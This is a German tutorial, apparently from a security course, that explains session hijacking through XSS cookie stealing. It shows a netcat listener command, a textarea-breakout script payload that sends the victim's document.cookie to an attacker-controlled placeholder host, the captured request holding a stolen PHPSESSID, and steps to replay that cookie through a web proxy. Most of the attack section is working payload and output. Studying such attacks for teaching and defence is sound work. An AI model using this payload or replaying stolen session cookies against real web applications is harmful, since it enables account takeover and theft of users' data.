Cookie Stealing mittels XSS

Cookie-Stealing ist eine Technik die es dem Angreifer ermöglicht mit Hilfe eines giftigen XSS-Codes,
das Cookie des Opfers auszulesen und deren Session zu übernehmen weshalb diese Technik auch
Session Hijacking genannt wird.

 

Zum Vergrößern auf das Bild klicken

 

  1. Bei folgendem Szenario setzen wir voraus, das Opfer ist bereits an der Webanwendung Angemeldet und  besitzt ein Session Cookie.
  2. Der Hacker sendet eine mit XSS-Code vergiftete Nachricht an das Opfer.
  3. Das Opfer Empfängt die Nachricht und öffnet sie, ohne das Wissen des Opfers wird der XSS-Code im Hintergrund ausgeführt.
  4. Der XSS-Code sendet das Session Cookie vom Opfer an den Angreifer.
  5. Der Angreifer übernimmt mittels Cookie die Session vom Opfer.

 

Fake Webserver

Netcat, auch nc genannt, ist ein einfaches Werkzeug, um Daten von der Standardein- oder -ausgabe über Netzwerkverbindungen zu transportieren. Es arbeitet als Server oder Client mit den Protokollen TCP und UDP.

Mittels Netcat erstellen wir einen fake Webserver auf dem Angreifer System der auf port 8001 lauscht:

echo '/n/n' | nc -nvl 8001 -q 1

 

XSS Code um Cookie zu stehlen

Dieser Code sendet den aktuellen Cookie vom Opfer System an den fake Webserver vom Angreifer

beliebiger Text</textarea><script>newImage().src="http://Fake_Webserver_IP:Fake_Webserver_PORT/"+document.cookie</script><textarea rows=1 cols=1>

 

Meldung vom fake Webserver

stud:~$ echo '/n/n' | nc -nvl 8001 -q 1
Connection from 192.168.146.145 port 8001 [tcp/*] accepted
GET /PHPSESSID=id9orm8lqsghkjp24l1ofinpc5 HTTP/1.1
Host: 192.168.179.19:8001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.179.2/aufg/listu.php


Als Ergebniss können wir hier den gestohlenen Cookie sehen:

Cookie: „PHPSESSID=id9orm8lqsghkjp24l1ofinpc5“

Der Angreifer kann sich jetzt mit dem gestohlenen Cookie bei der Webanwendung mit der geklauten Identität anmelden und hat somit vollen Zugriff auf die Daten des Opfers.

 

Web Proxy

Dazu benötigt er einen Web Proxy wie Burp oder Tamper Data um den HTTP-Header zu modifizieren und den
gestohlenen Cookie an den Server mit zu schicken.

Hier wird mittels Tamper Data das Cookie mitgegeben:

Zum Vergrößern auf das Bild klicken

Als Ergebnis hat der Angreifer erfolgreich die Session des Opfers übernommen.

Descargar musica